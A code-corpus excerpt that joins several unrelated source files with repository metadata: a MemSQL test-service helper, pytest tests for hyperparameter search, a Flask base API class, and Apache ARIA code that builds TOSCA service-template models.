memsql_kwargs.setdefault('client_flag', CLIENT.MULTI_STATEMENTS) memsql_kwargs.setdefault('cursorclass', pymysql.cursors.DictCursor) return Connection(pymysql.connect(**memsql_kwargs)) @property def tunnel(self): return self._host.TunnelManager.get_or_create(self.DNS_NAME, self.DNS_NAME, self.PORT) def upsert(self, query): return self.connection.upsert(query) def fetch_all(self, query): return self.connection.fetchall(query) def fetch_one(self, query): return self.connection.fetch_one(query) def fetch_count(self, query): return self.connection.fetch_count(query) def ping(self): try: nodes_status = json.loads(self._host.Docker.run_cmd_in_service('memsql', 'gosu memsql memsql-admin list-nodes --json')) except Exception as e: raise Exception("Failed to execute node-status command") from e else: if not all([node['processState'] == 'Running' and node['isConnectable'] and node['recoveryState'] == 'Online' for node in nodes_status['nodes']]): raise Exception(f"memsql is not ready {nodes_status}") def reset_state(self): self.connection.truncate_all() def verify_functionality(self): dbs = self.fetch_all("show databases") def stop_service(self): self._host.Docker.stop_container("memsql") def start_service(self): self._host.Docker.start_container("memsql") self._host.Docker.wait_container_up("memsql") waiter.wait_nothrow(self.ping, timeout=30) plugins.register('Memsql', Memsql)
37.82
212
0.64146
0548191a889dcbb43909e44549def48dbb6af616
10,570
py
Python
grimagents/tests/unit/test_parameter_search.py
PinataMostGrim/grimagents_cli
ad3461a6f331256586d9848a9eaa0a9095d65161
[ "Apache-2.0" ]
1
2019-08-18T21:00:22.000Z
2019-08-18T21:00:22.000Z
grimagents/tests/unit/test_parameter_search.py
PinataMostGrim/grimagents_cli
ad3461a6f331256586d9848a9eaa0a9095d65161
[ "Apache-2.0" ]
6
2019-08-18T15:22:44.000Z
2020-04-24T01:09:37.000Z
grimagents/tests/unit/test_parameter_search.py
PinataMostGrim/grimagents_cli
ad3461a6f331256586d9848a9eaa0a9095d65161
[ "Apache-2.0" ]
null
null
null
import numpy import pytest from grimagents.parameter_search import ( GridSearch, RandomSearch, BayesianSearch, InvalidGridSearchIndex, ) @pytest.fixture def search_config(): return { 'behavior_name': 'BEHAVIOR_NAME', 'search_parameters': { 'hyperparameters.beta': [1e-4, 1e-2], 'hyperparameters.num_epoch': [3, 10], 'hyperparameters.learning_rate': [1e-5, 1e-3], 'network_settings.hidden_units': [32, 512], 'network_settings.num_layers': [1, 3], }, } @pytest.fixture def trainer_config(): return { 'behaviors': { 'BEHAVIOR_NAME': { 'trainer_type': 'ppo', 'hyperparameters': { 'batch_size': 1024, 'beta': 5.0e-3, 'buffer_size': 10240, 'epsilon': 0.2, 'lambd': 0.95, }, 'network_settings': { 'hidden_units': 128, }, 'reward_signals': { 'extrinsic': { 'gamma': 0.99, 'strength': 1.0, }, }, }, 'OTHER_BEHAVIOR_NAME': { 'trainer_type': 'ppo', 'hyperparameters': { 'batch_size': 1024, 'buffer_size': 10240, 'epsilon': 0.2, }, }, }, } def test_get_search_hyperparameters(search_config): """Test for the extraction of hyperparameter names from a search configuration dictionary.""" assert GridSearch.get_search_hyperparameter_names(search_config) == [ 'hyperparameters.beta', 'hyperparameters.num_epoch', 'hyperparameters.learning_rate', 'network_settings.hidden_units', 'network_settings.num_layers', ] def test_get_hyperparameter_sets(search_config): """Test for the correct construction of GridSearch hyperparameter sets.""" assert GridSearch.get_hyperparameter_sets(search_config) == [ [0.0001, 0.01], [3, 10], [1e-05, 0.001], [32, 512], [1, 3], ] def test_get_search_permutations(search_config): """Test for the correct construction of GridSearch hyperparamter permutations.""" sets = [[0.0001, 0.01], [32, 512], [1e-05, 0.001]] assert GridSearch.get_search_permutations(sets) == [ (0.0001, 32, 1e-05), (0.0001, 32, 0.001), (0.0001, 512, 1e-05), (0.0001, 512, 0.001), (0.01, 32, 1e-05), (0.01, 32, 0.001), (0.01, 512, 1e-05), (0.01, 512, 0.001), ] def test_get_grid_search_configuration(search_config, trainer_config): """Tests for the correct creation of GridSearch configurations.""" search = GridSearch(search_config, trainer_config) assert search.get_search_configuration(0) == { 'hyperparameters.beta': 0.0001, 'hyperparameters.learning_rate': 1e-05, 'hyperparameters.num_epoch': 3, 'network_settings.hidden_units': 32, 'network_settings.num_layers': 1, } assert search.get_search_configuration(15) == { 'hyperparameters.beta': 0.0001, 'hyperparameters.learning_rate': 0.001, 'hyperparameters.num_epoch': 10, 'network_settings.hidden_units': 512, 'network_settings.num_layers': 3, } assert search.get_search_configuration(31) == { 'hyperparameters.beta': 0.01, 'hyperparameters.learning_rate': 0.001, 'hyperparameters.num_epoch': 10, 'network_settings.hidden_units': 512, 'network_settings.num_layers': 3, } def test_get_grid_search_count(search_config, trainer_config): """Tests for the correct calculation of permutation count.""" search = GridSearch(search_config, trainer_config) assert search.get_grid_search_count() == 32 def test_invalid_grid_search_index(search_config, trainer_config): """Tests that InvalidGridSearchIndex exceptions are raised.""" search = GridSearch(search_config, trainer_config) with pytest.raises(InvalidGridSearchIndex): search.get_search_configuration(32) def test_get_trainer_config_with_overrides(search_config, trainer_config): """Tests that flattened period separated keys are correctly expanded for the search configuration. Additionally tests to ensure nested sibling keys do not get overwritten.""" search = GridSearch(search_config, trainer_config) overrides = { 'reward_signals.extrinsic.gamma': 0.91, 'reward_signals.curiosity.encoding_size': 256, 'reward_signals.curiosity.strength': 1.0, 'reward_signals.curiosity.gamma': 0.99, } search_config = search.get_trainer_config_with_overrides(overrides) assert search_config == { 'behaviors': { 'BEHAVIOR_NAME': { 'hyperparameters': { 'batch_size': 1024, 'beta': 0.005, 'buffer_size': 10240, 'epsilon': 0.2, 'lambd': 0.95, }, 'network_settings': {'hidden_units': 128}, 'reward_signals': { 'curiosity': {'encoding_size': 256, 'gamma': 0.99, 'strength': 1.0}, 'extrinsic': {'gamma': 0.91, 'strength': 1.0}, }, 'trainer_type': 'ppo', }, 'OTHER_BEHAVIOR_NAME': { 'hyperparameters': {'batch_size': 1024, 'buffer_size': 10240, 'epsilon': 0.2}, 'trainer_type': 'ppo', }, } } def test_buffer_size_multiple(search_config, trainer_config): """Tests that 'buffer_size' is correctly calculated if 'buffer_size_multiple' is present and that 'buffer_size_multiple' is stripped from 'trainer_config'.""" search_config['search_parameters']['hyperparameters.buffer_size_multiple'] = [4] search = GridSearch(search_config, trainer_config) search_overrides = search.get_search_configuration(0) trainer_config = search.get_trainer_config_with_overrides(search_overrides) assert 'buffer_size_multiple' not in trainer_config['behaviors']['BEHAVIOR_NAME'] assert trainer_config == { 'behaviors': { 'BEHAVIOR_NAME': { 'hyperparameters': { 'batch_size': 1024, 'beta': 0.0001, 'buffer_size': 4096, 'epsilon': 0.2, 'lambd': 0.95, 'learning_rate': 1e-05, 'num_epoch': 3, }, 'network_settings': {'hidden_units': 32, 'num_layers': 1}, 'reward_signals': {'extrinsic': {'gamma': 0.99, 'strength': 1.0}}, 'trainer_type': 'ppo', }, 'OTHER_BEHAVIOR_NAME': { 'hyperparameters': {'batch_size': 1024, 'buffer_size': 10240, 'epsilon': 0.2}, 'trainer_type': 'ppo', }, } } def test_get_random_value(): """Test for the correct randomization of ints and floats.""" assert RandomSearch.get_random_value([1, 5, 8], seed=10) == 1 assert RandomSearch.get_random_value([0.01, 0.0001, 1], seed=5) == 0.6229394047202129 def test_get_random_search(search_config, trainer_config): """Tests for the correct generation of a randomized search configuration.""" search = RandomSearch(search_config, trainer_config) random_search_config = search.get_randomized_search_configuration(seed=9871237) assert random_search_config == { 'hyperparameters.beta': 0.008715030393329336, 'hyperparameters.learning_rate': 0.0008715030393329336, 'hyperparameters.num_epoch': 4, 'network_settings.hidden_units': 477, 'network_settings.num_layers': 1, } def test_get_parameter_bounds(): """Tests for the correct construction of a parameter bounds dictionary.""" parameter_names = ['batch_size', 'buffer_size_multiple', 'beta'] parameter_values = [[64, 128], [4], [0.001, 0.0001]] result = BayesianSearch.get_parameter_bounds(parameter_names, parameter_values) # Test for a dictionary return type assert type(result) is dict # Test for a second value inserted for any parameter that only contains one value assert result == { 'batch_size': [64, 128], 'buffer_size_multiple': [4, 4], 'beta': [0.001, 0.0001], } def test_get_search_config_from_bounds(): """Tests that - Only standard Python value types are returned - Values that should be int are converted to int - The item() method is not called on non-numpy value types """ bounds = { 'hyperparameters.batch_size': numpy.float64(144.0682249028942), 'hyperparameters.beta': numpy.float64(0.0028687875149226343), 'hyperparameters.buffer_size_multiple': numpy.float64(50.017156222601734), 'hyperparameters.num_epoch': numpy.float64(5.028942), 'network_settings.hidden_units': numpy.float64(121.0682249028942), 'network_settings.num_layers': numpy.float64(2.49028942), 'network_settings.memory.memory_size': numpy.float64(154.9019), 'network_settings.memory.sequence_length': numpy.float64(144.9028), 'reward_signal.extrinsic.strength': numpy.float64(1.0), 'reward_signal.strength.encoding_size': numpy.float64(184.6824928), 'reward_signal.curiosity.encoding_size': numpy.float64(184.6824928), 'reward_signal.gail.encoding_size': numpy.float64(184.6824928), 'max_steps': numpy.float64(500000.1), 'time_horizon': numpy.float64(64.049292), } assert BayesianSearch.get_search_config_from_bounds(bounds) == { 'hyperparameters.batch_size': 144, 'hyperparameters.beta': 0.0028687875149226343, 'hyperparameters.buffer_size_multiple': 50, 'hyperparameters.num_epoch': 5, 'max_steps': 500000, 'network_settings.hidden_units': 121, 'network_settings.memory.memory_size': 152, 'network_settings.memory.sequence_length': 145, 'network_settings.num_layers': 2, 'reward_signal.curiosity.encoding_size': 185, 'reward_signal.extrinsic.strength': 1.0, 'reward_signal.gail.encoding_size': 185, 'reward_signal.strength.encoding_size': 185, 'time_horizon': 64, }
35.116279
178
0.609272
6786e272c3fb74cb1b2b4b2ccd42c7ef608e6d9e
998
py
Python
api/api_personal_pay/resources/baseApi.py
HJaycee/PersonalPay
8999e9322a7739f3f736f89d5c984e296b19aa79
[ "MIT" ]
71
2018-05-23T02:29:06.000Z
2022-02-28T16:37:54.000Z
api/api_personal_pay/resources/baseApi.py
HJaycee/PersonalPay
8999e9322a7739f3f736f89d5c984e296b19aa79
[ "MIT" ]
4
2019-02-18T11:49:52.000Z
2021-01-27T03:00:22.000Z
api/api_personal_pay/resources/baseApi.py
HJaycee/PersonalPay
8999e9322a7739f3f736f89d5c984e296b19aa79
[ "MIT" ]
26
2018-05-29T03:35:21.000Z
2022-02-28T16:37:53.000Z
from flask_restful import Resource from flask import request, session, make_response import os import hashlib from util.log import Logger import json from util.commonUtil import CommonUtil import time def output_json(data, code, headers=None): """Makes a Flask response with a JSON encoded body""" # 如果是app接口,且不是支付回调,加密后返回 Logger.log("请求id:%s 响应\n返回JSON:%s\n" % (session['requestId'], data)) resp = make_response(json.dumps(data), code) resp.headers.extend(headers or {}) return resp # 这个是Api基类,可以做统一处理 class BaseApi(Resource): def __init__(self): md5 = hashlib.md5() md5.update(os.urandom(24)) session['requestId'] = md5.hexdigest() Logger.log(">>>>>>>>>>>>>>>>>>>>>>> 请求 请求id:%s >>>>>>>>>>>>>>>>>>>>>>>\n%s|%s|%s|%s|%s" % (session['requestId'], time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()), request.environ['REMOTE_ADDR'], request.environ['REQUEST_METHOD'], request.url, request.get_data())) Resource.__init__(self)
35.642857
275
0.657315
957dc7bc64328fb9303f0831ae6396eca69e3dd3
32,834
py
Python
extensions/aria_extension_tosca/simple_v1_0/modeling/__init__.py
enricorusso/incubator-ariatosca
3748b1962697712bde29c9de781d867c6c5ffad1
[ "Apache-2.0" ]
null
null
null
extensions/aria_extension_tosca/simple_v1_0/modeling/__init__.py
enricorusso/incubator-ariatosca
3748b1962697712bde29c9de781d867c6c5ffad1
[ "Apache-2.0" ]
null
null
null
extensions/aria_extension_tosca/simple_v1_0/modeling/__init__.py
enricorusso/incubator-ariatosca
3748b1962697712bde29c9de781d867c6c5ffad1
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Creates ARIA service template models based on the TOSCA presentation. Relies on many helper methods in the presentation classes. """ #pylint: disable=unsubscriptable-object import os import re from types import FunctionType from datetime import datetime from ruamel import yaml from aria.parser.validation import Issue from aria.utils.formatting import string_list_as_string from aria.utils.collections import (StrictDict, OrderedDict) from aria.orchestrator import WORKFLOW_DECORATOR_RESERVED_ARGUMENTS from aria.modeling.models import (Type, ServiceTemplate, NodeTemplate, RequirementTemplate, RelationshipTemplate, CapabilityTemplate, GroupTemplate, PolicyTemplate, SubstitutionTemplate, SubstitutionTemplateMapping, InterfaceTemplate, OperationTemplate, ArtifactTemplate, Metadata, Input, Output, Property, Attribute, Configuration, PluginSpecification) from .parameters import coerce_parameter_value from .constraints import (Equal, GreaterThan, GreaterOrEqual, LessThan, LessOrEqual, InRange, ValidValues, Length, MinLength, MaxLength, Pattern) from ..data_types import coerce_value # These match the first un-escaped ">" # See: http://stackoverflow.com/a/11819111/849021 IMPLEMENTATION_PREFIX_REGEX = re.compile(r'(?<!\\)(?:\\\\)*>') def create_service_template_model(context): # pylint: disable=too-many-locals,too-many-branches model = ServiceTemplate(created_at=datetime.now(), main_file_name=os.path.basename(str(context.presentation.location))) model.description = context.presentation.get('service_template', 'description', 'value') # Metadata metadata = context.presentation.get('service_template', 'metadata') if metadata is not None: create_metadata_models(context, model, metadata) # Types model.node_types = Type(variant='node') create_types(context, model.node_types, context.presentation.get('service_template', 'node_types')) model.group_types = Type(variant='group') create_types(context, model.group_types, context.presentation.get('service_template', 'group_types')) model.policy_types = Type(variant='policy') create_types(context, model.policy_types, context.presentation.get('service_template', 'policy_types')) model.relationship_types = Type(variant='relationship') create_types(context, model.relationship_types, context.presentation.get('service_template', 'relationship_types')) model.capability_types = Type(variant='capability') create_types(context, model.capability_types, context.presentation.get('service_template', 'capability_types')) model.interface_types = Type(variant='interface') create_types(context, model.interface_types, context.presentation.get('service_template', 'interface_types')) model.artifact_types = Type(variant='artifact') create_types(context, model.artifact_types, context.presentation.get('service_template', 'artifact_types')) # Topology template topology_template = context.presentation.get('service_template', 'topology_template') if topology_template is not None: create_parameter_models_from_values(model.inputs, topology_template._get_input_values(context), model_cls=Input) create_parameter_models_from_values(model.outputs, topology_template._get_output_values(context), model_cls=Output) # Plugin specifications policies = context.presentation.get('service_template', 'topology_template', 'policies') if policies: for policy in policies.itervalues(): role = model.policy_types.get_descendant(policy.type).role if role == 'plugin': plugin_specification = create_plugin_specification_model(context, policy) model.plugin_specifications[plugin_specification.name] = plugin_specification elif role == 'workflow': operation_template = create_workflow_operation_template_model(context, model, policy) model.workflow_templates[operation_template.name] = operation_template # Node templates node_templates = context.presentation.get('service_template', 'topology_template', 'node_templates') if node_templates: for node_template in node_templates.itervalues(): node_template_model = create_node_template_model(context, model, node_template) model.node_templates[node_template_model.name] = node_template_model for node_template in node_templates.itervalues(): fix_node_template_model(context, model, node_template) # Group templates groups = context.presentation.get('service_template', 'topology_template', 'groups') if groups: for group in groups.itervalues(): group_template_model = create_group_template_model(context, model, group) model.group_templates[group_template_model.name] = group_template_model # Policy templates policies = context.presentation.get('service_template', 'topology_template', 'policies') if policies: for policy in policies.itervalues(): policy_template_model = create_policy_template_model(context, model, policy) model.policy_templates[policy_template_model.name] = policy_template_model # Substitution template substitution_mappings = context.presentation.get('service_template', 'topology_template', 'substitution_mappings') if substitution_mappings: model.substitution_template = create_substitution_template_model(context, model, substitution_mappings) return model def create_metadata_models(context, service_template, metadata): service_template.meta_data['template_name'] = Metadata(name='template_name', value=metadata.template_name) service_template.meta_data['template_author'] = Metadata(name='template_author', value=metadata.template_author) service_template.meta_data['template_version'] = Metadata(name='template_version', value=metadata.template_version) custom = metadata.custom if custom: for name, value in custom.iteritems(): service_template.meta_data[name] = Metadata(name=name, value=value) def create_node_template_model(context, service_template, node_template): node_type = node_template._get_type(context) node_type = service_template.node_types.get_descendant(node_type._name) model = NodeTemplate(name=node_template._name, type=node_type) model.default_instances = 1 model.min_instances = 0 if node_template.description: model.description = node_template.description.value create_parameter_models_from_values(model.properties, node_template._get_property_values(context), model_cls=Property) create_parameter_models_from_values(model.attributes, node_template._get_attribute_default_values(context), model_cls=Attribute) create_interface_template_models(context, service_template, model.interface_templates, node_template._get_interfaces(context)) artifacts = node_template._get_artifacts(context) if artifacts: for artifact_name, artifact in artifacts.iteritems(): model.artifact_templates[artifact_name] = \ create_artifact_template_model(context, service_template, artifact) capabilities = node_template._get_capabilities(context) if capabilities: for capability_name, capability in capabilities.iteritems(): model.capability_templates[capability_name] = \ create_capability_template_model(context, service_template, capability) if node_template.node_filter: model.target_node_template_constraints = [] create_node_filter_constraints(context, node_template.node_filter, model.target_node_template_constraints) return model def fix_node_template_model(context, service_template, node_template): # Requirements have to be created after all node templates have been created, because # requirements might reference another node template model = service_template.node_templates[node_template._name] requirements = node_template._get_requirements(context) if requirements: for _, requirement in requirements: model.requirement_templates.append(create_requirement_template_model(context, service_template, requirement)) def create_group_template_model(context, service_template, group): group_type = group._get_type(context) group_type = service_template.group_types.get_descendant(group_type._name) model = GroupTemplate(name=group._name, type=group_type) if group.description: model.description = group.description.value create_parameter_models_from_values(model.properties, group._get_property_values(context), model_cls=Property) create_interface_template_models(context, service_template, model.interface_templates, group._get_interfaces(context)) members = group.members if members: for member in members: node_template = service_template.node_templates[member] assert node_template model.node_templates.append(node_template) return model def create_policy_template_model(context, service_template, policy): policy_type = policy._get_type(context) policy_type = service_template.policy_types.get_descendant(policy_type._name) model = PolicyTemplate(name=policy._name, type=policy_type) if policy.description: model.description = policy.description.value create_parameter_models_from_values(model.properties, policy._get_property_values(context), model_cls=Property) node_templates, groups = policy._get_targets(context) if node_templates: for target in node_templates: node_template = service_template.node_templates[target._name] assert node_template model.node_templates.append(node_template) if groups: for target in groups: group_template = service_template.group_templates[target._name] assert group_template model.group_templates.append(group_template) return model def create_requirement_template_model(context, service_template, requirement): model = {'name': requirement._name} node, node_variant = requirement._get_node(context) if node is not None: if node_variant == 'node_type': node_type = service_template.node_types.get_descendant(node._name) model['target_node_type'] = node_type else: node_template = service_template.node_templates[node._name] model['target_node_template'] = node_template capability, capability_variant = requirement._get_capability(context) if capability is not None: if capability_variant == 'capability_type': capability_type = \ service_template.capability_types.get_descendant(capability._name) model['target_capability_type'] = capability_type else: model['target_capability_name'] = capability._name model = RequirementTemplate(**model) if requirement.node_filter: model.target_node_template_constraints = [] create_node_filter_constraints(context, requirement.node_filter, model.target_node_template_constraints) relationship = requirement.relationship if relationship is not None: model.relationship_template = \ create_relationship_template_model(context, service_template, relationship) model.relationship_template.name = requirement._name return model def create_relationship_template_model(context, service_template, relationship): relationship_type, relationship_type_variant = relationship._get_type(context) if relationship_type_variant == 'relationship_type': relationship_type = service_template.relationship_types.get_descendant( relationship_type._name) model = RelationshipTemplate(type=relationship_type) else: relationship_template = relationship_type relationship_type = relationship_template._get_type(context) relationship_type = service_template.relationship_types.get_descendant( relationship_type._name) model = RelationshipTemplate(type=relationship_type) if relationship_template.description: model.description = relationship_template.description.value create_parameter_models_from_assignments(model.properties, relationship.properties, model_cls=Property) create_interface_template_models(context, service_template, model.interface_templates, relationship.interfaces) return model def create_capability_template_model(context, service_template, capability): capability_type = capability._get_type(context) capability_type = service_template.capability_types.get_descendant(capability_type._name) model = CapabilityTemplate(name=capability._name, type=capability_type) capability_definition = capability._get_definition(context) if capability_definition.description: model.description = capability_definition.description.value occurrences = capability_definition.occurrences if occurrences is not None: model.min_occurrences = occurrences.value[0] if occurrences.value[1] != 'UNBOUNDED': model.max_occurrences = occurrences.value[1] valid_source_types = capability_definition.valid_source_types if valid_source_types: for valid_source_type in valid_source_types: # TODO: handle shortcut type names node_type = service_template.node_types.get_descendant(valid_source_type) model.valid_source_node_types.append(node_type) create_parameter_models_from_assignments(model.properties, capability.properties, model_cls=Property) return model def create_interface_template_model(context, service_template, interface): interface_type = interface._get_type(context) interface_type = service_template.interface_types.get_descendant(interface_type._name) model = InterfaceTemplate(name=interface._name, type=interface_type) if interface_type.description: model.description = interface_type.description inputs = interface.inputs if inputs: for input_name, the_input in inputs.iteritems(): model.inputs[input_name] = Input(name=input_name, # pylint: disable=unexpected-keyword-arg type_name=the_input.value.type, value=the_input.value.value, description=the_input.value.description) operations = interface.operations if operations: for operation_name, operation in operations.iteritems(): model.operation_templates[operation_name] = \ create_operation_template_model(context, service_template, operation) return model if model.operation_templates else None def create_operation_template_model(context, service_template, operation): model = OperationTemplate(name=operation._name) if operation.description: model.description = operation.description.value implementation = operation.implementation if implementation is not None: primary = implementation.primary extract_implementation_primary(context, service_template, operation, model, primary) relationship_edge = operation._get_extensions(context).get('relationship_edge') if relationship_edge is not None: if relationship_edge == 'source': model.relationship_edge = False elif relationship_edge == 'target': model.relationship_edge = True dependencies = implementation.dependencies configuration = OrderedDict() if dependencies: for dependency in dependencies: key, value = split_prefix(dependency) if key is not None: # Special ARIA prefix: signifies configuration parameters # Parse as YAML try: value = yaml.load(value) except yaml.parser.MarkedYAMLError as e: context.validation.report( 'YAML parser {0} in operation configuration: {1}' .format(e.problem, value), locator=implementation._locator, level=Issue.FIELD) continue # Coerce to intrinsic functions, if there are any value = coerce_parameter_value(context, implementation, None, value).value # Support dot-notation nesting set_nested(configuration, key.split('.'), value) else: if model.dependencies is None: model.dependencies = [] model.dependencies.append(dependency) # Convert configuration to Configuration models for key, value in configuration.iteritems(): model.configurations[key] = Configuration.wrap(key, value, description='Operation configuration.') inputs = operation.inputs if inputs: for input_name, the_input in inputs.iteritems(): model.inputs[input_name] = Input(name=input_name, # pylint: disable=unexpected-keyword-arg type_name=the_input.value.type, value=the_input.value.value, description=the_input.value.description) return model def create_artifact_template_model(context, service_template, artifact): artifact_type = artifact._get_type(context) artifact_type = service_template.artifact_types.get_descendant(artifact_type._name) model = ArtifactTemplate(name=artifact._name, type=artifact_type, source_path=artifact.file) if artifact.description: model.description = artifact.description.value model.target_path = artifact.deploy_path repository = artifact._get_repository(context) if repository is not None: model.repository_url = repository.url credential = repository._get_credential(context) if credential: model.repository_credential = {} for k, v in credential.iteritems(): model.repository_credential[k] = v create_parameter_models_from_values(model.properties, artifact._get_property_values(context), model_cls=Property) return model def create_substitution_template_model(context, service_template, substitution_mappings): node_type = service_template.node_types.get_descendant(substitution_mappings.node_type) model = SubstitutionTemplate(node_type=node_type) capabilities = substitution_mappings.capabilities if capabilities: for mapped_capability_name, capability in capabilities.iteritems(): name = 'capability.' + mapped_capability_name node_template_model = service_template.node_templates[capability.node_template] capability_template_model = \ node_template_model.capability_templates[capability.capability] model.mappings[name] = \ SubstitutionTemplateMapping(name=name, capability_template=capability_template_model) requirements = substitution_mappings.requirements if requirements: for mapped_requirement_name, requirement in requirements.iteritems(): name = 'requirement.' + mapped_requirement_name node_template_model = service_template.node_templates[requirement.node_template] requirement_template_model = None for a_model in node_template_model.requirement_templates: if a_model.name == requirement.requirement: requirement_template_model = a_model break model.mappings[name] = \ SubstitutionTemplateMapping(name=name, requirement_template=requirement_template_model) return model def create_plugin_specification_model(context, policy): properties = policy.properties def get(name, default=None): prop = properties.get(name) return prop.value if prop is not None else default model = PluginSpecification(name=policy._name, version=get('version'), enabled=get('enabled', True)) return model def create_workflow_operation_template_model(context, service_template, policy): model = OperationTemplate(name=policy._name, service_template=service_template) if policy.description: model.description = policy.description.value properties = policy._get_property_values(context) for prop_name, prop in properties.iteritems(): if prop_name == 'implementation': model.function = prop.value else: model.inputs[prop_name] = Input(name=prop_name, # pylint: disable=unexpected-keyword-arg type_name=prop.type, value=prop.value, description=prop.description) used_reserved_names = WORKFLOW_DECORATOR_RESERVED_ARGUMENTS.intersection(model.inputs.keys()) if used_reserved_names: context.validation.report('using reserved arguments in workflow policy "{0}": {1}' .format( policy._name, string_list_as_string(used_reserved_names)), locator=policy._locator, level=Issue.EXTERNAL) return model # # Utils # def create_types(context, root, types): if types is None: return def added_all(): for name in types: if root.get_descendant(name) is None: return False return True while not added_all(): for name, the_type in types.iteritems(): if root.get_descendant(name) is None: parent_type = the_type._get_parent(context) model = Type(name=the_type._name, role=the_type._get_extension('role')) if the_type.description: model.description = the_type.description.value if parent_type is None: model.parent = root model.variant = root.variant root.children.append(model) else: container = root.get_descendant(parent_type._name) if container is not None: model.parent = container model.variant = container.variant container.children.append(model) def create_parameter_models_from_values(properties, source_properties, model_cls): if source_properties: for property_name, prop in source_properties.iteritems(): properties[property_name] = model_cls(name=property_name, # pylint: disable=unexpected-keyword-arg type_name=prop.type, value=prop.value, description=prop.description) def create_parameter_models_from_assignments(properties, source_properties, model_cls): if source_properties: for property_name, prop in source_properties.iteritems(): properties[property_name] = model_cls(name=property_name, # pylint: disable=unexpected-keyword-arg type_name=prop.value.type, value=prop.value.value, description=prop.value.description) def create_interface_template_models(context, service_template, interfaces, source_interfaces): if source_interfaces: for interface_name, interface in source_interfaces.iteritems(): interface = create_interface_template_model(context, service_template, interface) if interface is not None: interfaces[interface_name] = interface def create_node_filter_constraints(context, node_filter, target_node_template_constraints): properties = node_filter.properties if properties is not None: for property_name, constraint_clause in properties: constraint = create_constraint(context, node_filter, constraint_clause, property_name, None) target_node_template_constraints.append(constraint) capabilities = node_filter.capabilities if capabilities is not None: for capability_name, capability in capabilities: properties = capability.properties if properties is not None: for property_name, constraint_clause in properties: constraint = create_constraint(context, node_filter, constraint_clause, property_name, capability_name) target_node_template_constraints.append(constraint) def create_constraint(context, node_filter, constraint_clause, property_name, capability_name): # pylint: disable=too-many-return-statements constraint_key = constraint_clause._raw.keys()[0] the_type = constraint_clause._get_type(context) def coerce_constraint(constraint): if the_type is not None: return coerce_value(context, node_filter, the_type, None, None, constraint, constraint_key) else: return constraint def coerce_constraints(constraints): if the_type is not None: return tuple(coerce_constraint(constraint) for constraint in constraints) else: return constraints if constraint_key == 'equal': return Equal(property_name, capability_name, coerce_constraint(constraint_clause.equal)) elif constraint_key == 'greater_than': return GreaterThan(property_name, capability_name, coerce_constraint(constraint_clause.greater_than)) elif constraint_key == 'greater_or_equal': return GreaterOrEqual(property_name, capability_name, coerce_constraint(constraint_clause.greater_or_equal)) elif constraint_key == 'less_than': return LessThan(property_name, capability_name, coerce_constraint(constraint_clause.less_than)) elif constraint_key == 'less_or_equal': return LessOrEqual(property_name, capability_name, coerce_constraint(constraint_clause.less_or_equal)) elif constraint_key == 'in_range': return InRange(property_name, capability_name, coerce_constraints(constraint_clause.in_range)) elif constraint_key == 'valid_values': return ValidValues(property_name, capability_name, coerce_constraints(constraint_clause.valid_values)) elif constraint_key == 'length': return Length(property_name, capability_name, coerce_constraint(constraint_clause.length)) elif constraint_key == 'min_length': return MinLength(property_name, capability_name, coerce_constraint(constraint_clause.min_length)) elif constraint_key == 'max_length': return MaxLength(property_name, capability_name, coerce_constraint(constraint_clause.max_length)) elif constraint_key == 'pattern': return Pattern(property_name, capability_name, coerce_constraint(constraint_clause.pattern)) else: raise ValueError('malformed node_filter: {0}'.format(constraint_key)) def split_prefix(string): """ Splits the prefix on the first non-escaped ">". """ split = IMPLEMENTATION_PREFIX_REGEX.split(string, 1) if len(split) < 2: return None, None return split[0].strip(), split[1].strip() def set_nested(the_dict, keys, value): """ If the ``keys`` list has just one item, puts the value in the the dict. If there are more items, puts the value in a sub-dict, creating sub-dicts as necessary for each key. For example, if ``the_dict`` is an empty dict, keys is ``['first', 'second', 'third']`` and value is ``'value'``, then the_dict will be: ``{'first':{'second':{'third':'value'}}}``. :param the_dict: Dict to change :type the_dict: {} :param keys: Keys :type keys: [basestring] :param value: Value """ key = keys.pop(0) if len(keys) == 0: the_dict[key] = value else: if key not in the_dict: the_dict[key] = StrictDict(key_class=basestring) set_nested(the_dict[key], keys, value) def extract_implementation_primary(context, service_template, presentation, model, primary): prefix, postfix = split_prefix(primary) if prefix: # Special ARIA prefix model.plugin_specification = service_template.plugin_specifications.get(prefix) model.function = postfix if model.plugin_specification is None: context.validation.report( 'no policy for plugin "{0}" specified in operation implementation: {1}' .format(prefix, primary), locator=presentation._get_child_locator('properties', 'implementation'), level=Issue.BETWEEN_TYPES) else: # Standard TOSCA artifact with default plugin model.implementation = primary
44.793997
140
0.646312
796b9eba3d8b6666757a920bcbdf5f2634b908a4
1,518
py
Python
acheron/model.py
superphy/acheron
cd9838f000085409e306a5f66b04276a1e4eb5f5
[ "Apache-2.0" ]
1
2022-01-07T17:23:14.000Z
2022-01-07T17:23:14.000Z
acheron/model.py
superphy/acheron
cd9838f000085409e306a5f66b04276a1e4eb5f5
[ "Apache-2.0" ]
null
null
null
acheron/model.py
superphy/acheron
cd9838f000085409e306a5f66b04276a1e4eb5f5
[ "Apache-2.0" ]
1
2021-06-18T17:36:08.000Z
2021-06-18T17:36:08.000Z
